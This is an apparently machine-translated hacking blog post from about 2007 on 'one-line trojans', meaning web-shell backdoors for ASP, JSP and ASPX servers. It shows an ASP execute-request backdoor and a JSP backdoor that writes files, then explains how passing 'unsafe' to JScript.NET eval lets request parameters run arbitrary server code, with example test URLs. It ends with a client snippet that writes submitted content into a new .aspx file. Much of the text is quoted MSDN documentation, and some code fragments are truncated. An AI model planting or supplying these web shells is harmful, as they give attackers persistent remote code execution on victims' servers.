ASPX一言木馬--究極版&詳細分析(ASP-EXECUTE VS ASPX-EVAL)

6048 ワード

まず、以前のASPの一言の定番木馬を振り返ってみましょう.
""then execute request("nonamed")%>
VBSではexecuteが動的に指定されたコードを実行し、JSPCRIPTでも同様にeval関数が実現できます.つまり、ASPの一言木馬にもJSPCRIPTのevalを採用したバージョンがあります.ネット上にも例があって、私は多く言いません!.....
そして解析言語は結局javaのような中間コードに発展する.Netダイナミック実行も存在しません!
以前のASPでは通常の状況ではVBS JSCCRIPTしかサポートされていませんでした(python perlscriptのような特例の私は言いません)...
現在ASPXでサポートされているVBSのプレミアムバージョンVBにはexecuteという独自の方法は存在しません....残念ですが....
同時にJscriptも同様に上級バージョンJscriptに移行した.Netしかし、私たちが必要とするeval関数はまだ生存しています!script child幸い...
まず伏線を埋めましょう~まず今の中間言語WEBアプリの一言を話しましょう
JSP :if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("//")+request.getParameter("f"))).write(request.getParameter("t").getBytes());%> これは私が自分で书いた弾きたいことで、すべてみんなのほほほです!私は発言しません.....
ASPX:これは誰の作品か分かりませんが、私のJSPの一言に少し似ているような気がします.でも简単なシェルを実现しました!支持ing....
2つの一言はほぼ同じようにクラスを呼び出して受信したものをファイルに書きます!简単に言えばファイルを书く操作です!昔のASPの一言の輝きは今、中間言語の裏口で制限されている~~間違っている!......ASPX C/S木馬は私たちと同じように実現できます!JscriptがあるからNetの存在!上記のeval関数はまだ生きています!~OK私たちは先にこのように実現しますか?うん!持って行って試してもいいです~textとして保存します.aspxをコミットhttp://127.0.0.1/text.aspx?nonamed=var%20mydate%20=%20new%20Date();現在の時刻を印刷...Sat Aug 4 20:05:20 UTC+8 2007はOKみたいですよ!ほほほもう一度やってみようhttp://127.0.0.1/text.aspx?nonamed=Server.MapPath(".");レポートが間違っていることに気づいた!....(私はカードがここにあるため、だから何ヶ月も振り回して、さもなくばこの文章はとっくに出てきました!ここで暗い术师に感谢しますQQ:4659675みんなは彼を探して学ぶことを歓迎します...ハ)间违いの原因{セキュリティ例外の説明:アプリケーションがセキュリティポリシーで許可されていない操作を実行しようとしています.このアプリケーションに必要な権限を付与するには、システム管理者に連絡するか、プロファイルでアプリケーションの信頼レベルを変更します.例外の詳細:System.Security.SecurityException:要求に失敗しました.}どうしてこんなことになったの?OK MSドキュメントを見つけた
下を見る
http://msdn.microsoft.com/library/chs/default.asp?url=/library/CHS/jscript7/html/jsmscStartPage.asp
JScript .NET
 

JScript .NETの新機能


JScript .NETは次世代のMicrosoft Jscript言語であり、Web言語を使用してMicrosoftに簡単かつ迅速にアクセスすることができる.NETプラットフォームの1つの方法.Jscriptの主な役割はASPを使うことです.NETはWebサイトを構築する使用する.NET Frameworkスクリプトカスタムアプリケーション.
JScript .NETはECMAScript規格と互換性があり、また、ECMAScriptが指定する他の機能、例えば、本格的なコンパイルコード、「共通言語仕様」(CLS)に適合することによって実現されるクロス言語サポート、および対を有する.NET Frameworkのアクセス.Visual Studio .NET 2002のJscript.NETバージョンは十分に利用されています.NET Framework自体が持つセキュリティ、Jscript.NET 2003はevalメソッドに制限されたセキュリティコンテキストを追加し、セキュリティをさらに強化した.
JscriptでNETのいくつかの新機能はCLSを十分に利用することを目的としており、これはデータ型、オブジェクト公開方式、オブジェクト相互利用方式などのコンテンツを標準化するためのルールのセットである.CLSに適合する言語はすべてJscriptで使用することができる.NETで作成されたクラス、オブジェクト、コンポーネント.Jscriptの開発者として、クラス、コンポーネント、およびオブジェクトには、データ型などの言語固有の違いを考慮することなく、CLSに準拠する他のプログラミング言語からアクセスできます.JScript .NETプログラムで使用されるCLS機能の一部には、ネーミングスペース、プロパティ、参照パラメータ、およびネイティブ配列が含まれます.
次はJscriptです.NETの新機能:

JScript .NET 2003の新機能


evalメソッドの制限されたセキュリティコンテキスト
現在、呼び出し元の権限にかかわらず、セキュリティを強化するために組み込まれています.
evalメソッドは、デフォルトで制限されたセキュリティコンテキストでスクリプトを実行します.よびだし
evalでunsafeを2番目のオプションパラメータとして使用すると、スクリプトが呼び出し元の権限を使用して実行され、ファイルシステム、ネットワーク、またはユーザーインタフェースへのアクセスが許可されます.詳細については、evalメソッドを参照してください.

JScript .NET 2002の新機能


クラスベースのオブジェクト
JScript .NET(Jscriptのように)は、プロトタイプベースのオブジェクトサポートによって継承されます.JScript .NETでは、オブジェクトデータと動作を定義するクラスを宣言し、クラスベースのオブジェクトをサポートすることもできます.JscriptでNETで作成するクラスは任意である.NET言語の使用と拡張.クラスは、ベースクラスのプロパティとメソッドを継承できます.クラスとクラスメンバーにいくつかのプロパティを適用し、動作と可視性を変更できます.詳細については、「クラスベースのオブジェクト」を参照してください.
Jscriptデータ型
JscriptでNETでは(Jscriptのように)プログラム作成時に変数のデータ型を指定しないことができます.JScript .NETは、すべての変数が特定のデータ型にバインドされている強力なタイプ化言語としても使用できます.また、タイプ化と非タイプ化の変数を混合して使用することもできます.JScript .NETは多くの新しいデータ型を提供しています.クラスと.NETタイプをデータ型として使用します.詳細については、Jscriptデータ型を参照してください.
じょうけんコンパイル
命令はJscriptを制御することができる.NETプログラムのコンパイル.たとえば、@debugコマンドは、スクリプトの特定の部分のデバッグ情報のパブリケーションをオンまたはオフにすることができます.詳細については、@debugコマンドを参照してください.@positionコマンドは、デバッガに現在の行の行番号を設定します.詳細については、@positionコマンドを参照してください.他のスクリプトにマージするコードを作成している場合は、両方のコマンドが役立ちます.詳細については、条件コンパイルを参照してください.
Jscriptネーミングスペース
ネーミングスペースは、クラス、インタフェース、メソッドを階層化することで、ネーミング競合を防止します.JscriptでNETでは、自分のネーミングスペースを定義できます.Jscriptも使えます.NETアクセスNET Frameworkネーミングスペースは、自分で定義したネーミングスペースを含む.パッケージ文を使用すると、関連するクラスをパッケージ化して、簡単な導入と名前の競合を回避できます.詳細については、package文を参照してください.文をインポートする.NET Frameworkネーミングスペースは、ネーミングスペース内のクラスおよびインタフェースにアクセスできるスクリプトに使用できます.詳細については、import文を参照してください.
Jscript変数と定数
JScript .NETには、定数値を表す識別子を定義するConst文が導入されています.詳細については、Jscript変数と定数を参照してください.
列挙
JScript .NETはEnum文を導入し,列挙データ型の構築を可能にした.列挙を使用すると、データ型値に役立つ名前を指定できます.詳細については、enum文を参照してください.
evalメソッドを見つけて
http://msdn.microsoft.com/library/chs/default.asp?url=/library/CHS/jscript7/html/jsmtheval.asp
JScript .NET
 

evalメソッド


Jscriptコードを計算して実行します.
function eval(codeString : String [, override : String])

パラメータ


codeString
必須.有効なJscriptコードを含む文字列.
override
オプション.適用先の決定
codeStringのコードのセキュリティ権限の文字列.

コメント


eval関数では、Jscriptソースコードを動的に実行できます.
evalメソッドに渡されるコード実行時のコンテキストは、evalメソッドを呼び出すときのコンテキストと同じです.eval文で定義された新しい変数またはタイプは、閉じたプログラムには表示されません.
文字列「unsafe」を2番目のパラメータに渡さない限り、evalメソッドに渡されるコードは制限されたセキュリティコンテキストで実行されます.制限されたセキュリティコンテキストでは、ファイルシステム、ネットワーク、またはユーザーインタフェースなどのシステムリソースへのアクセスが禁止されています.コードがこれらのリソースにアクセスしようとすると、セキュリティ例外が発生します.
evalの2番目のパラメータが文字列「unsafe」である場合、evalメソッドに渡されるコードは、呼び出しコードが存在するセキュリティコンテキストで実行されます.2番目のパラメータは大文字と小文字を区別するため、文字列「Unsafe」または「UnSAfE」は制限されたセキュリティコンテキストを書き換えません.
セキュリティの説明非セキュリティモードでは、evalは信頼できるソースから取得されたコード文字列を実行するためにのみ使用できます.
 
 
元evalは安全性を制限しました~ほほほそれでは私达は彼の言うとおりにunsafeパラメータに参加してOK提出を実现しますhttp://127.0.0.1/test.aspx?z=Server.MapPath(".")F:/nonamed/DODNTPROJECTを印刷するのは私の現在のWEBディレクトリが成功しました!热泪ing~~~つまりあなたが何を提出して彼は何を运行してその年のASPのバックドアの効果を回复しました!~  -_-Response.Writeはいらない!しかし、私はエコーのために追加しました:)OK以下は一言のクライアントを構築しましょう!
ASPX one line Code Client
var nonamed=new System.IO.StreamWriter(Server.MapPath("nonamed.aspx"),false);
nonamed.Write(Request.Item["l"]);
nonamed.Close();
your code
全文完.....